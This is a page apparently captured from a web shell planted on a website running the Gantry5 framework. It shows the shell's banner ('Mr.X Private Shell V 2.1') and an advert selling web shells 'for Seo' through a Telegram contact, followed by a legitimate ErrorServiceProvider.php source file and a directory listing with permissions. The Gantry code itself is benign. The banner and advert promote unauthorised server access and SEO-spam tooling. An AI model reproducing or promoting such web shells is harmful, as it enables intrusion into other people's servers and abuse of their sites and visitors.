__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and later
*/
namespace Gantry\Framework\Services;
use Gantry\Component\Whoops\SystemFacade;
use Gantry\Debugger;
use Gantry\Framework\Platform;
use Pimple\Container;
use Pimple\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Whoops\Handler\JsonResponseHandler;
use Whoops\Handler\PrettyPageHandler;
use Whoops\Run;
use Whoops\Util\Misc;
/**
* Class ErrorServiceProvider
* @package Gantry\Framework\Services
*/
class ErrorServiceProvider implements ServiceProviderInterface
{
/** @var string */
protected $format;
/**
* ErrorServiceProvider constructor.
* @param string $format
*/
public function __construct($format = 'html')
{
$this->format = $format;
}
/**
* @param Container $container
*/
public function register(Container $container)
{
/** @var UniformResourceLocator $locator */
$locator = $container['locator'];
/** @var Platform $platform */
$platform = $container['platform'];
// Setup Whoops-based error handler
$system = new SystemFacade($platform->errorHandlerPaths());
$errors = new Run($system);
$error_page = new PrettyPageHandler();
$error_page->setPageTitle('Crikey! There was an error...');
$error_page->setEditor('sublime');
foreach ($locator->findResources('gantry-assets://css/whoops.css') as $path) {
$error_page->addResourcePath(dirname($path));
}
$error_page->addCustomCss('whoops.css');
$errors->pushHandler($error_page);
$jsonRequest = $this->format === 'json' || ($_SERVER && isset($_SERVER['HTTP_ACCEPT']) && $_SERVER['HTTP_ACCEPT'] === 'application/json');
if (Misc::isAjaxRequest() || $jsonRequest) {
$json_handler = new JsonResponseHandler();
//$json_handler->setJsonApi(true);
$errors->pushHandler($json_handler);
}
$errors->register();
$container['errors'] = $errors;
if (\GANTRY_DEBUGGER) {
Debugger::setErrorHandler();
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ConfigServiceProvider.php | File | 4.92 KB | 0664 |
|
| ErrorServiceProvider.php | File | 2.42 KB | 0664 |
|
| StreamsServiceProvider.php | File | 1.56 KB | 0664 |
|